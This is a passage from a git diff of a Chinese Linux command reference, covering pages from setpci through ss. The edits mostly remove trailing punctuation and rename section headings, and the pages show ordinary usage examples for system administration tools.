``` -这里我们看到在dir下建立的文件john用户自动就有了read and write permission, +这里我们看到在dir下建立的文件john用户自动就有了read and write permission **ACL相关命令** -前面的例子中我们都注意到了getfacl命令是用来读取文件的ACL,setfacl是用来设定文件的Acess ACL。这里还有一个chacl是用来改变文件和目录的Access ACL and Default ACL,它的具体参数大家可以去看man page。我只想提及一下`chacl -B`。它可以彻底删除文件或者目录的ACL属性(包括Default ACL),比如你即使用了`setfacl -x`删除了所有文件的ACL属性,那个+号还是会出现在文件的末尾,所以正确的删除方法应该是用`chacl -B`用cp来复制文件的时候我们现在可以加上`-p`选项。这样在拷贝文件的时候也将拷贝文件的ACL属性,对于不能拷贝的ACL属性将给出警告。 +前面的例子中我们都注意到了getfacl命令是用来读取文件的ACL,setfacl是用来设定文件的Acess ACL。这里还有一个chacl是用来改变文件和目录的Access ACL and Default ACL,它的具体参数大家可以去看man page。我只想提及一下`chacl -B`。它可以彻底删除文件或者目录的ACL属性(包括Default ACL),比如你即使用了`setfacl -x`删除了所有文件的ACL属性,那个+号还是会出现在文件的末尾,所以正确的删除方法应该是用`chacl -B`用cp来复制文件的时候我们现在可以加上`-p`选项。这样在拷贝文件的时候也将拷贝文件的ACL属性,对于不能拷贝的ACL属性将给出警告 -mv命令将会默认地移动文件的ACL属性,同样如果操作不允许的情况下会给出警告。 +mv命令将会默认地移动文件的ACL属性,同样如果操作不允许的情况下会给出警告 **需要注意的几点** @@ -276,6 +276,6 @@ mv命令将会默认地移动文件的ACL属性,同样如果操作不允许的 mount -o remount, acl [mount point] ``` -如果用chmod命令改变Linux file permission的时候相应的ACL值也会改变,反之改变ACL的值,相应的file permission也会改变。 +如果用chmod命令改变Linux file permission的时候相应的ACL值也会改变,反之改变ACL的值,相应的file permission也会改变 diff --git a/Linux_man_cn/setpci.md b/Linux_man_cn/setpci.md index c250de4..4f9106f 100644 --- a/Linux_man_cn/setpci.md +++ b/Linux_man_cn/setpci.md @@ -5,9 +5,9 @@ setpci ## 说明 -**setpci命令** 是一个查询和配置PCI设备的使用工具。 +**setpci命令** 是一个查询和配置PCI设备的使用工具 -### 语法 +## 选项 ``` setpci(选项)(参数) @@ -16,19 +16,19 @@ setpci(选项)(参数) ``` --v:显示指令执行的细节信息; --f:当没有任何操作需要完成时,不显示任何信息; --D:测试模式,并不真正将配置信息写入寄存器; --d:仅显示给定厂商和设备的信息; --s:仅显示指定总线、插槽上的设备或设备上的功能块信息。 +-v:显示指令执行的细节信息 +-f:当没有任何操作需要完成时,不显示任何信息 +-D:测试模式,并不真正将配置信息写入寄存器 +-d:仅显示给定厂商和设备的信息 +-s:仅显示指定总线、插槽上的设备或设备上的功能块信息 ``` ### 参数 -* PCI设备:指定要配置的PCI设备; -* 操作:指定要完成的配置操作。 +* PCI设备:指定要配置的PCI设备 +* 操作:指定要完成的配置操作 -### 实例 +## 实例 Linux下调节笔记本屏幕亮度方法: @@ -53,12 +53,12 @@ sudo setpci -s 00:02.0 F4.B=FF 解释一下: -* **setpci** 是修改设备属性的命令。 -* **-s** 表示接下来输入的是设备的地址。 -* **00:02.0** VGA设备地址(<总线>:<接口>.<功能>)。 -* **F4** 要修改的属性的地址,这里应该表示“亮度”。 -* **.B** 修改的长度(B应该是字节(Byte),还有w(应该是Word,两个字节)、L(应该是Long,4个字节))。 -* **=FF** 要修改的值(可以改)。 +* **setpci** 是修改设备属性的命令 +* **-s** 表示接下来输入的是设备的地址 +* **00:02.0** VGA设备地址(<总线>:<接口>.<功能>) +* **F4** 要修改的属性的地址,这里应该表示“亮度” +* **.B** 修改的长度(B应该是字节(Byte),还有w(应该是Word,两个字节)、L(应该是Long,4个字节)) +* **=FF** 要修改的值(可以改) 我这里00是最暗,FF是最亮,不同的电脑可能不一样。比如说我嫌FF太闪眼了,我就可以: diff --git a/Linux_man_cn/setsebool.md b/Linux_man_cn/setsebool.md index b61a787..ebd94e5 100644 --- a/Linux_man_cn/setsebool.md +++ b/Linux_man_cn/setsebool.md @@ -5,9 +5,9 @@ setsebool ## 说明 -**setsebool命令** 是用来修改SElinux策略内各项规则的布尔值。setsebool命令和getsebool命令是SELinux修改和查询布尔值的一套工具组。SELinux的策略与规则管理相关命令:seinfo命令、sesearch命令、getsebool命令、setsebool命令、semanage命令。 +**setsebool命令** 是用来修改SElinux策略内各项规则的布尔值。setsebool命令和getsebool命令是SELinux修改和查询布尔值的一套工具组。SELinux的策略与规则管理相关命令:seinfo命令、sesearch命令、getsebool命令、setsebool命令、semanage命令 -### 语法 +## 选项 ``` setsebool [-P] 布尔值=[0|1] @@ -16,10 +16,10 @@ setsebool [-P] 布尔值=[0|1] ``` --P:直接将设置值写入配置文件,该设置数据将来会生效的。 +-P:直接将设置值写入配置文件,该设置数据将来会生效的 ``` -### 实例 +## 实例 允许vsvtp匿名用户写入权限: diff --git a/Linux_man_cn/sftp-server.md b/Linux_man_cn/sftp-server.md index 5b4c9fc..3b85aaf 100644 --- a/Linux_man_cn/sftp-server.md +++ b/Linux_man_cn/sftp-server.md @@ -5,9 +5,9 @@ sftp协议的服务器端程序 ## 说明 -**sftp-server命令** 是一个“sftp”协议的服务器端程序,它使用加密的方式进行文件传输。 +**sftp-server命令** 是一个“sftp”协议的服务器端程序,它使用加密的方式进行文件传输 -### 语法 +## 选项 ``` sftp-server diff --git a/Linux_man_cn/sftp.md b/Linux_man_cn/sftp.md index 8798034..b8dc453 100644 --- a/Linux_man_cn/sftp.md +++ b/Linux_man_cn/sftp.md @@ -5,9 +5,9 @@ sftp ## 说明 -**sftp命令** 是一款交互式的文件传输程序,命令的运行和使用方式与ftp命令相似,但是,sftp命令对传输的所有信息使用ssh加密,它还支持公钥认证和压缩等功能。 +**sftp命令** 是一款交互式的文件传输程序,命令的运行和使用方式与ftp命令相似,但是,sftp命令对传输的所有信息使用ssh加密,它还支持公钥认证和压缩等功能 -### 语法 +## 选项 ``` sftp(选项)(参数) @@ -16,18 +16,18 @@ sftp(选项)(参数) ``` --B:指定传输文件时缓冲区的大小; --l:使用ssh协议版本1; --b:指定批处理文件; --C:使用压缩; --o:指定ssh选项; --F:指定ssh配置文件; --R:指定一次可以容忍多少请求数; --v:升高日志等级。 +-B:指定传输文件时缓冲区的大小 +-l:使用ssh协议版本1 +-b:指定批处理文件 +-C:使用压缩 +-o:指定ssh选项 +-F:指定ssh配置文件 +-R:指定一次可以容忍多少请求数 +-v:升高日志等级 ``` ### 参数 -目标主机:指定sftp服务器ip地址或者主机名。 +目标主机:指定sftp服务器ip地址或者主机名 diff --git a/Linux_man_cn/sh.md b/Linux_man_cn/sh.md index 06392e6..8d0e5db 100644 --- a/Linux_man_cn/sh.md +++ b/Linux_man_cn/sh.md @@ -5,9 +5,9 @@ shell命令解释器 ## 说明 -**sh命令** 是shell命令语言解释器,执行命令从标准输入读取或从一个文件中读取。通过用户输入命令,和内核进行沟通!Bourne Again Shell (即bash)是自由软件基金会(GNU)开发的一个Shell,它是Linux系统中一个默认的Shell。Bash不但与Bourne Shell兼容,还继承了C Shell、Korn Shell等优点。 +**sh命令** 是shell命令语言解释器,执行命令从标准输入读取或从一个文件中读取。通过用户输入命令,和内核进行沟通!Bourne Again Shell (即bash)是自由软件基金会(GNU)开发的一个Shell,它是Linux系统中一个默认的Shell。Bash不但与Bourne Shell兼容,还继承了C Shell、Korn Shell等优点 -### 语法 +## 选项 ``` bash [options] [file] @@ -16,13 +16,13 @@ bash [options] [file] ``` --c string:命令从-c后的字符串读取。 --i:实现脚本交互。 --n:进行shell脚本的语法检查。 --x:实现shell脚本逐条语句的跟踪。 +-c string:命令从-c后的字符串读取 +-i:实现脚本交互 +-n:进行shell脚本的语法检查 +-x:实现shell脚本逐条语句的跟踪 ``` -### 实例 +## 实例 使用-x选项跟踪脚本调试shell脚本,能打印出所执行的每一行命令以及当前状态: diff --git a/Linux_man_cn/shopt.md b/Linux_man_cn/shopt.md index fedccf6..1f4070b 100644 --- a/Linux_man_cn/shopt.md +++ b/Linux_man_cn/shopt.md @@ -5,9 +5,9 @@ shopt ## 说明 -**shopt命令** 用于显示和设置shell中的行为选项,通过这些选项以增强shell易用性。shopt命令若不带任何参数选项,则可以显示所有可以设置的shell操作选项。 +**shopt命令** 用于显示和设置shell中的行为选项,通过这些选项以增强shell易用性。shopt命令若不带任何参数选项,则可以显示所有可以设置的shell操作选项 -### 语法 +## 选项 ``` shopt(选项)(参数) @@ -16,15 +16,15 @@ shopt(选项)(参数) ``` --s:激活指定的shell行为选项; --u:关闭指定的shell行为选项。 +-s:激活指定的shell行为选项 +-u:关闭指定的shell行为选项 ``` ### 参数 -shell选项:指定要操作的shell选项。 +shell选项:指定要操作的shell选项 -### 实例 +## 实例 使用shopt命令显示当前所有可以设置的shell操作选项,输入如下命令: @@ -54,6 +54,6 @@ shopt -s cdspell #开启cd拼写检查 cdspell on #开启cdspell选项 ``` -用户可以通过实际执行cd命令检查该选项是否被成功开启。 +用户可以通过实际执行cd命令检查该选项是否被成功开启 diff --git a/Linux_man_cn/showmount.md b/Linux_man_cn/showmount.md index f58f313..53cd548 100644 --- a/Linux_man_cn/showmount.md +++ b/Linux_man_cn/showmount.md @@ -5,9 +5,9 @@ showmount ## 说明 -**showmount命令** 查询“mountd”守护进程,以显示NFS服务器加载的信息。 +**showmount命令** 查询“mountd”守护进程,以显示NFS服务器加载的信息 -### 语法 +## 选项 ``` showmount(选项)(参数) @@ -16,12 +16,12 @@ showmount(选项)(参数) ``` --d:仅显示已被NFS客户端加载的目录; --e:显示NFS服务器上所有的共享目录。 +-d:仅显示已被NFS客户端加载的目录 +-e:显示NFS服务器上所有的共享目录 ``` ### 参数 -NFS服务器:指定NFS服务器的ip地址或者主机名。 +NFS服务器:指定NFS服务器的ip地址或者主机名 diff --git a/Linux_man_cn/shutdown.md b/Linux_man_cn/shutdown.md index 5318ac6..d868991 100644 --- a/Linux_man_cn/shutdown.md +++ b/Linux_man_cn/shutdown.md @@ -5,9 +5,9 @@ shutdown ## 说明 -**shutdown命令** 用来系统关机命令。shutdown指令可以关闭所有程序,并依用户的需要,进行重新开机或关机的动作。 +**shutdown命令** 用来系统关机命令。shutdown指令可以关闭所有程序,并依用户的需要,进行重新开机或关机的动作 -### 语法 +## 选项 ``` shutdown(选项)(参数) @@ -16,22 +16,22 @@ shutdown(选项)(参数) ``` --c:当执行“shutdown -h 11:50”指令时,只要按+键就可以中断关机的指令; --f:重新启动时不执行fsck; --F:重新启动时执行fsck; --h:将系统关机; --k:只是送出信息给所有用户,但不会实际关机; --n:不调用init程序进行关机,而由shutdown自己进行; --r:shutdown之后重新启动; --t<秒数>:送出警告信息和删除信息之间要延迟多少秒。 +-c:当执行“shutdown -h 11:50”指令时,只要按+键就可以中断关机的指令 +-f:重新启动时不执行fsck +-F:重新启动时执行fsck +-h:将系统关机 +-k:只是送出信息给所有用户,但不会实际关机 +-n:不调用init程序进行关机,而由shutdown自己进行 +-r:shutdown之后重新启动 +-t<秒数>:送出警告信息和删除信息之间要延迟多少秒 ``` ### 参数 -* [时间]:设置多久时间后执行shutdown指令; -* [警告信息]:要传送给所有登入用户的信息。 +* [时间]:设置多久时间后执行shutdown指令 +* [警告信息]:要传送给所有登入用户的信息 -### 实例 +## 实例 指定现在立即关机: diff --git a/Linux_man_cn/skill.md b/Linux_man_cn/skill.md index ee9e10f..aaca529 100644 --- a/Linux_man_cn/skill.md +++ b/Linux_man_cn/skill.md @@ -5,9 +5,9 @@ skill ## 说明 -**skill命令** 用于向选定的进程发送信号,冻结进程。这个命令初学者并不常用,深入之后牵涉到系统服务优化之后可能会用到。 +**skill命令** 用于向选定的进程发送信号,冻结进程。这个命令初学者并不常用,深入之后牵涉到系统服务优化之后可能会用到 -### 语法 +## 选项 ``` skill(选项) @@ -16,18 +16,18 @@ skill(选项) ``` --f:快速模式; --i:交互模式,每一步操作都需要确认; --v:冗余模式; --w:激活模式; --V:显示版本号; --t:指定开启进程的终端号; --u:指定开启进程的用户; --p:指定进程的id号; --c:指定开启进程的指令名称。 +-f:快速模式 +-i:交互模式,每一步操作都需要确认 +-v:冗余模式 +-w:激活模式 +-V:显示版本号 +-t:指定开启进程的终端号 +-u:指定开启进程的用户 +-p:指定进程的id号 +-c:指定开启进程的指令名称 ``` -### 实例 +## 实例 如果您发现了一个占用大量CPU和内存的进程,但又不想停止它,该怎么办?考虑下面的top命令输出: @@ -45,7 +45,7 @@ Swap: 2041192k av, 83160k used, 1958032k free 799432k cached 16514 oracle 19 4 28796 26M 20252 D N 7.0 2.5 0:03 0 oraclePRODB2... ``` -既然您确认进程16514占用了大量内存,您就可以使用skill命令“冻结”它,而不是停止它。 +既然您确认进程16514占用了大量内存,您就可以使用skill命令“冻结”它,而不是停止它 ``` skill -STOP 1 @@ -72,7 +72,7 @@ Swap: 2041192k av, 83152k used, 1958040k free 851200k cached skill -CONT 16514 ``` -如果希望暂时冻结进程以便为完成更重要的进程腾出空间,该方法非常有用。 +如果希望暂时冻结进程以便为完成更重要的进程腾出空间,该方法非常有用 此命令用途很广。如果您要停止 "oracle" 用户的所有进程,只需要一个命令即可实现: @@ -80,7 +80,7 @@ skill -CONT 16514 skill -STOP oracle ``` -可以使用用户、PID、命令或终端 id 作为参数。以下命令可停止所有 rman 命令。 +可以使用用户、PID、命令或终端 id 作为参数。以下命令可停止所有 rman 命令 ``` skill -STOP rman @@ -112,7 +112,7 @@ snice命令的功能与skill类似。但它用于降低进程的优先级,而 13701 oracle 15 0 22204 21M 16940 T 0.0 2.1 0:00 0 oracle ``` -现在,将 "oracle" 进程的优先级降低四个点。注意,该值越高,优先级越低。 +现在,将 "oracle" 进程的优先级降低四个点。注意,该值越高,优先级越低 ``` snice +4 -u oracle @@ -120,6 +120,6 @@ snice +4 -u oracle 16894 oracle 20 4 38904 32M 26248 D N 5.5 3.2 0:01 0 oracle ``` -注意,NI 列(nice 值)现在是 4,优先级现在设置为 20,而不是 15。这对于降低优先级非常有帮助。 +注意,NI 列(nice 值)现在是 4,优先级现在设置为 20,而不是 15。这对于降低优先级非常有帮助 diff --git a/Linux_man_cn/slabtop.md b/Linux_man_cn/slabtop.md index 1694a8c..aff460a 100644 --- a/Linux_man_cn/slabtop.md +++ b/Linux_man_cn/slabtop.md @@ -5,9 +5,9 @@ slabtop ## 说明 -**slabtop命令** 以实时的方式显示内核“slab”缓冲区的细节信息。 +**slabtop命令** 以实时的方式显示内核“slab”缓冲区的细节信息 -### 语法 +## 选项 ``` slabtop(选项) @@ -16,11 +16,11 @@ slabtop(选项) ``` ---delay=n, -d n:每n秒更新一次显示的信息,默认是每3秒; ---sort=S, -s S:指定排序标准进行排序(排序标准,参照下面或者man手册); ---once, -o:显示一次后退出; ---version, -V:显示版本; ---help:显示帮助信息。 +--delay=n, -d n:每n秒更新一次显示的信息,默认是每3秒 +--sort=S, -s S:指定排序标准进行排序(排序标准,参照下面或者man手册) +--once, -o:显示一次后退出 +--version, -V:显示版本 +--help:显示帮助信息 ``` 排序标准: @@ -38,13 +38,13 @@ slabtop(选项) ### 知识扩展 -内核的模块在分配资源的时候,为了提高效率和资源的利用率,都是透过slab来分配的。通过slab的信息,再配合源码能粗粗了解系统的运行情况,比如说什么资源有没有不正常的多,或者什么资源有没有泄漏。linux系统透过/proc/slabinfo来向用户暴露slab的使用情况。 +内核的模块在分配资源的时候,为了提高效率和资源的利用率,都是透过slab来分配的。通过slab的信息,再配合源码能粗粗了解系统的运行情况,比如说什么资源有没有不正常的多,或者什么资源有没有泄漏。linux系统透过/proc/slabinfo来向用户暴露slab的使用情况 -Linux 所使用的 slab 分配器的基础是 Jeff Bonwick 为 SunOS 操作系统首次引入的一种算法。Jeff 的分配器是围绕对象缓存进行的。在内核中,会为有限的对象集(例如文件描述符和其他常见结构)分配大量内存。Jeff 发现对内核中普通对象进行初始化所需的时间超过了对其进行分配和释放所需的时间。因此他的结论是不应该将内存释放回一个全局的内存池,而是将内存保持为针对特定目而初始化的状态。Linux slab 分配器使用了这种思想和其他一些思想来构建一个在空间和时间上都具有高效性的内存分配器。 +Linux 所使用的 slab 分配器的基础是 Jeff Bonwick 为 SunOS 操作系统首次引入的一种算法。Jeff 的分配器是围绕对象缓存进行的。在内核中,会为有限的对象集(例如文件描述符和其他常见结构)分配大量内存。Jeff 发现对内核中普通对象进行初始化所需的时间超过了对其进行分配和释放所需的时间。因此他的结论是不应该将内存释放回一个全局的内存池,而是将内存保持为针对特定目而初始化的状态。Linux slab 分配器使用了这种思想和其他一些思想来构建一个在空间和时间上都具有高效性的内存分配器 -保存着监视系统中所有活动的 slab 缓存的信息的文件为/proc/slabinfo。 +保存着监视系统中所有活动的 slab 缓存的信息的文件为/proc/slabinfo -### 实例 +## 实例 ``` slabtop diff --git a/Linux_man_cn/sleep.md b/Linux_man_cn/sleep.md index 19cb115..d521036 100644 --- a/Linux_man_cn/sleep.md +++ b/Linux_man_cn/sleep.md @@ -5,9 +5,9 @@ sleep ## 说明 -**sleep命令** 暂停指定的时间。 +**sleep命令** 暂停指定的时间 -### 语法 +## 选项 ``` sleep(参数) @@ -15,13 +15,13 @@ sleep(参数) ### 参数 -时间:指定要暂停时间的长度。 +时间:指定要暂停时间的长度 -时间长度,后面可接 s、m、h 或 d,其中 s 为秒,m 为 分钟,h 为小时,d 为日数。 +时间长度,后面可接 s、m、h 或 d,其中 s 为秒,m 为 分钟,h 为小时,d 为日数 -### 实例 +## 实例 -有时在写一些以循环方式运行的监控脚本,设置时间间隔是必不可少的,下面是一个Shell进度条的脚本演示在脚本中生成延时。 +有时在写一些以循环方式运行的监控脚本,设置时间间隔是必不可少的,下面是一个Shell进度条的脚本演示在脚本中生成延时 ``` #!/bin/bash diff --git a/Linux_man_cn/slocate.md b/Linux_man_cn/slocate.md index 8baed18..89d6a98 100644 --- a/Linux_man_cn/slocate.md +++ b/Linux_man_cn/slocate.md @@ -5,9 +5,9 @@ slocate ## 说明 -**slocate命令** 是一个命令查找文件或目录。slocate本身具有一个数据库,里面存放了系统中文件与目录的相关信息。 +**slocate命令** 是一个命令查找文件或目录。slocate本身具有一个数据库,里面存放了系统中文件与目录的相关信息 -### 语法 +## 选项 ``` slocate [-u][--help][--version][-d <目录>][查找的文件] @@ -16,13 +16,13 @@ slocate [-u][--help][--version][-d <目录>][查找的文件] ``` --d<目录>或--database=<目录>  指定数据库所在的目录。 --u  更新slocate数据库。 ---help  显示帮助。 ---version  显示版本信息。 +-d<目录>或--database=<目录>  指定数据库所在的目录 +-u  更新slocate数据库 +--help  显示帮助 +--version  显示版本信息 ``` -### 实例 +## 实例 使用指令"slocate"显示文件名中含有关键字"fdisk"的文件路径信息,输入如下命令: diff --git a/Linux_man_cn/smbclient.md b/Linux_man_cn/smbclient.md index 28c883e..b990500 100644 --- a/Linux_man_cn/smbclient.md +++ b/Linux_man_cn/smbclient.md @@ -7,25 +7,25 @@ ## 选项 ```markdown --B:传送广播数据包时所用的IP地址; --d<排错层级>:指定记录文件所记载事件的详细程度; --E:将信息送到标准错误输出设备; --h:显示帮助; --i<范围>:设置NetBIOS名称范围; --I:指定服务器的IP地址; --l<记录文件>:指定记录文件的名称; --L:显示服务器端所分享出来的所有资源; --M:可利用WinPopup协议,将信息送给选项中所指定的主机; --n:指定用户端所要使用的NetBIOS名称; --N:不用询问密码; --O<连接槽选项>:设置用户端TCP连接槽的选项; --p:指定服务器端TCP连接端口编号; --R<名称解析顺序>:设置NetBIOS名称解析的顺序; --s<目录>:指定smb.conf所在的目录; --t<服务器字码>:设置用何种字符码来解析服务器端的文件名称; --T:备份服务器端分享的全部文件,并打包成tar格式的文件; --U<用户名称>:指定用户名称; --w<工作群组>:指定工作群组名称。 +-B:传送广播数据包时所用的IP地址 +-d<排错层级>:指定记录文件所记载事件的详细程度 +-E:将信息送到标准错误输出设备 +-h:显示帮助 +-i<范围>:设置NetBIOS名称范围 +-I:指定服务器的IP地址 +-l<记录文件>:指定记录文件的名称 +-L:显示服务器端所分享出来的所有资源 +-M:可利用WinPopup协议,将信息送给选项中所指定的主机 +-n:指定用户端所要使用的NetBIOS名称 +-N:不用询问密码 +-O<连接槽选项>:设置用户端TCP连接槽的选项 +-p:指定服务器端TCP连接端口编号 +-R<名称解析顺序>:设置NetBIOS名称解析的顺序 +-s<目录>:指定smb.conf所在的目录 +-t<服务器字码>:设置用何种字符码来解析服务器端的文件名称 +-T:备份服务器端分享的全部文件,并打包成tar格式的文件 +-U<用户名称>:指定用户名称 +-w<工作群组>:指定工作群组名称 ``` ## 实例 diff --git a/Linux_man_cn/smbpasswd.md b/Linux_man_cn/smbpasswd.md index 763768c..af2e16a 100644 --- a/Linux_man_cn/smbpasswd.md +++ b/Linux_man_cn/smbpasswd.md @@ -5,9 +5,9 @@ samba用户和密码管理工具 ## 说明 -**smbpasswd命令** 属于samba套件,能够实现添加或删除samba用户和为用户修改密码。 +**smbpasswd命令** 属于samba套件,能够实现添加或删除samba用户和为用户修改密码 -### 语法 +## 选项 ``` smbpasswd(选项)(参数) @@ -16,16 +16,16 @@ smbpasswd(选项)(参数) ``` --a:向smbpasswd文件中添加用户; --c:指定samba的配置文件; --x:从smbpasswd文件中删除用户; --d:在smbpasswd文件中禁用指定的用户; --e:在smbpasswd文件中激活指定的用户; --n:将指定的用户的密码置空。 +-a:向smbpasswd文件中添加用户 +-c:指定samba的配置文件 +-x:从smbpasswd文件中删除用户 +-d:在smbpasswd文件中禁用指定的用户 +-e:在smbpasswd文件中激活指定的用户 +-n:将指定的用户的密码置空 ``` ### 参数 -用户名:指定要修改SMB密码的用户。 +用户名:指定要修改SMB密码的用户 diff --git a/Linux_man_cn/sort.md b/Linux_man_cn/sort.md index 3829656..0358c26 100644 --- a/Linux_man_cn/sort.md +++ b/Linux_man_cn/sort.md @@ -55,9 +55,9 @@ which override global ordering options for that key. If no key is given, use the entire line as the key. SIZE may be followed by the following multiplicative suffixes: -内存使用率% 1%,b 1、K 1024 (默认),M、G、T、P、E、Z、Y 等依此类推。 +内存使用率% 1%,b 1、K 1024 (默认),M、G、T、P、E、Z、Y 等依此类推 -如果不指定文件,或者文件为"-",则从标准输入读取数据。 +如果不指定文件,或者文件为"-",则从标准输入读取数据 *** 警告 *** 本地环境变量会影响排序结果。如果希望以字节的自然值获得最传统的排序结果,请设置LC_ALL=C diff --git a/Linux_man_cn/source.md b/Linux_man_cn/source.md index 4e4af4a..f20cd68 100644 --- a/Linux_man_cn/source.md +++ b/Linux_man_cn/source.md @@ -1,13 +1,13 @@ source === -在当前Shell环境中从指定文件读取和执行命令,命令返回退出状态。 +在当前Shell环境中从指定文件读取和执行命令,命令返回退出状态 ## 说明 -**source命令** 在当前Shell环境中从指定文件读取和执行命令,命令返回退出状态。 +**source命令** 在当前Shell环境中从指定文件读取和执行命令,命令返回退出状态 -### 语法 +## 选项 ``` source [文件名] [参数] @@ -15,7 +15,7 @@ source [文件名] [参数] ### 例子 -读取和执行/root/.bash_profile文件。 +读取和执行/root/.bash_profile文件 ```bash [root@localhost ~]# source ~/.bash_profile diff --git a/Linux_man_cn/speedtest-cli.md b/Linux_man_cn/speedtest-cli.md index 89f8488..53a8de1 100644 --- a/Linux_man_cn/speedtest-cli.md +++ b/Linux_man_cn/speedtest-cli.md @@ -9,7 +9,7 @@ speedtest-cli ### 安装speedtest-cli -speedtest-cli需要在python 2.4-3.4的环境下,安装方法都很简单,自己选择以下最适合你的一种。 +speedtest-cli需要在python 2.4-3.4的环境下,安装方法都很简单,自己选择以下最适合你的一种 **pip方式** @@ -50,22 +50,22 @@ speedtest-cli需要在python 2.4-3.4的环境下,安装方法都很简单, # chmod +x speedtest-cli ``` -直接下载脚本,给予执行权限即可。 +直接下载脚本,给予执行权限即可 ### 用法 ``` -h, --help show this help message and exit ---share 分享你的网速,该命令会在speedtest网站上生成网速测试结果的图片。 +--share 分享你的网速,该命令会在speedtest网站上生成网速测试结果的图片 --simple Suppress verbose output, only show basic information ---list 根据距离显示speedtest.net的测试服务器列表。 ---server=SERVER 指定列表中id的服务器来做测试。 +--list 根据距离显示speedtest.net的测试服务器列表 +--server=SERVER 指定列表中id的服务器来做测试 --mini=MINI URL of the Speedtest Mini server --source=SOURCE Source ip address to bind to --version Show the version number and exit ``` -### 实例 +## 实例 列出所有在中国的测试服务器: diff --git a/Linux_man_cn/spell.md b/Linux_man_cn/spell.md index 9314cc3..7db4afc 100644 --- a/Linux_man_cn/spell.md +++ b/Linux_man_cn/spell.md @@ -5,9 +5,9 @@ spell ## 说明 -**spell命令** 对文件进行拼写检查,并把拼写错误的单词输出。 +**spell命令** 对文件进行拼写检查,并把拼写错误的单词输出 -### 语法 +## 选项 ``` spell(参数) @@ -15,6 +15,6 @@ spell(参数) ### 参数 -文件:指定需要进行拼写检查的文件。 +文件:指定需要进行拼写检查的文件 diff --git a/Linux_man_cn/split.md b/Linux_man_cn/split.md index 9fb295e..b28ab19 100644 --- a/Linux_man_cn/split.md +++ b/Linux_man_cn/split.md @@ -5,11 +5,11 @@ **split命令** 可以将一个大文件分割成很多个小文件,有时需要将文件分割成更小的片段,比如为提高可读性,生成日志等 ```markdown --b:,。 --C:每一输出档中,单行的最大 byte 数。 --d:。 --l:。 --a:(默认为2)。 +-b:, +-C:每一输出档中,单行的最大 byte 数 +-d: +-l: +-a:(默认为2) 用法:split [选项] [输入 [前缀]] 输出固定大小的INPUT到PREFIX; 默认大小为1000行,默认PREFIX为“x”。 没有INPUT,或INPUT为 - 时,读取标准输入 diff --git a/Linux_man_cn/squid.md b/Linux_man_cn/squid.md index 5a08bc1..4e28d59 100644 --- a/Linux_man_cn/squid.md +++ b/Linux_man_cn/squid.md @@ -5,9 +5,9 @@ squid服务器守护进程 ## 说明 -**squid命令** 高性能的Web客户端代理缓存服务器套件“squid”的服务器守护进程。 +**squid命令** 高性能的Web客户端代理缓存服务器套件“squid”的服务器守护进程 -### 语法 +## 选项 ``` squid(选项) @@ -16,15 +16,15 @@ squid(选项) ``` --d:将指定调试等级的信息发送到标准错误设备; --f:使用指定的配置文件。而不使用默认配置文件; --k:向squid服务器发送指令; --s:启用syslog日志; --z:创建缓存目录; --C:不捕获致命信号; --D:不进行DNS参数测试; --N:以非守护进程模式运行; --X:强制进入完全调试模式。 +-d:将指定调试等级的信息发送到标准错误设备 +-f:使用指定的配置文件。而不使用默认配置文件 +-k:向squid服务器发送指令 +-s:启用syslog日志 +-z:创建缓存目录 +-C:不捕获致命信号 +-D:不进行DNS参数测试 +-N:以非守护进程模式运行 +-X:强制进入完全调试模式 ``` diff --git a/Linux_man_cn/squidclient.md b/Linux_man_cn/squidclient.md index 743555c..06f0634 100644 --- a/Linux_man_cn/squidclient.md +++ b/Linux_man_cn/squidclient.md @@ -5,9 +5,9 @@ squid服务器的客户端管理工具 ## 说明 -**squidclient命令** 使用squid服务器的客户端管理工具,它可以查看squid服务器的详细运行信息和管理squid服务器。 +**squidclient命令** 使用squid服务器的客户端管理工具,它可以查看squid服务器的详细运行信息和管理squid服务器 -### 语法 +## 选项 ``` squidclient(选项)(参数) @@ -16,18 +16,18 @@ squidclient(选项)(参数) ``` --a:不包含“accept:header”; --r:强制缓存重新加载URL; --s:安静模式,不输出信息到标准输出设备; +-a:不包含“accept:header” +-r:强制缓存重新加载URL +-s:安静模式,不输出信息到标准输出设备 -h:从指定主机获取url --l:指定一个本地ip地址进行绑定; --p:端口号,默认为3128; --m:指定发送请求的方法; --u:代理认证用户名。 +-l:指定一个本地ip地址进行绑定 +-p:端口号,默认为3128 +-m:指定发送请求的方法 +-u:代理认证用户名 ``` ### 参数 -URL:指定操作缓存中的URL。 +URL:指定操作缓存中的URL diff --git a/Linux_man_cn/ss.md b/Linux_man_cn/ss.md index 65173d6..5bd6226 100644 --- a/Linux_man_cn/ss.md +++ b/Linux_man_cn/ss.md @@ -1,17 +1,17 @@ ss === -获取socket统计信息,iproute2 包附带的另一个工具,允许你查询 socket 的有关统计信息。 +获取socket统计信息,iproute2 包附带的另一个工具,允许你查询 socket 的有关统计信息 ## 说明 -**ss命令** 用来显示处于活动状态的套接字信息。ss命令可以用来获取socket统计信息,它可以显示和netstat类似的内容。但ss的优势在于它能够显示更多更详细的有关TCP和连接状态的信息,而且比netstat更快速更高效。 +**ss命令** 用来显示处于活动状态的套接字信息。ss命令可以用来获取socket统计信息,它可以显示和netstat类似的内容。但ss的优势在于它能够显示更多更详细的有关TCP和连接状态的信息,而且比netstat更快速更高效 -当服务器的socket连接数量变得非常大时,无论是使用netstat命令还是直接`cat /proc/net/tcp`,执行速度都会很慢。可能你不会有切身的感受,但请相信我,当服务器维持的连接达到上万个的时候,使用netstat等于浪费 生命,而用ss才是节省时间。 +当服务器的socket连接数量变得非常大时,无论是使用netstat命令还是直接`cat /proc/net/tcp`,执行速度都会很慢。可能你不会有切身的感受,但请相信我,当服务器维持的连接达到上万个的时候,使用netstat等于浪费 生命,而用ss才是节省时间 -天下武功唯快不破。ss快的秘诀在于,它利用到了TCP协议栈中tcp_diag。tcp_diag是一个用于分析统计的模块,可以获得Linux 内核中第一手的信息,这就确保了ss的快捷高效。当然,如果你的系统中没有tcp_diag,ss也可以正常运行,只是效率会变得稍慢。 +天下武功唯快不破。ss快的秘诀在于,它利用到了TCP协议栈中tcp_diag。tcp_diag是一个用于分析统计的模块,可以获得Linux 内核中第一手的信息,这就确保了ss的快捷高效。当然,如果你的系统中没有tcp_diag,ss也可以正常运行,只是效率会变得稍慢 -### 语法 +## 选项 ``` ss [参数] @@ -49,7 +49,7 @@ ss [参数] [过滤] FILTER := [ state TCP-STATE ] [ EXPRESSION ] ``` -### 实例 +## 实例 ```bash ss -t -a # 显示TCP连接 @@ -85,7 +85,7 @@ ss src 192.168.119.103:25 **将本地或者远程端口和一个数比较** ```bash 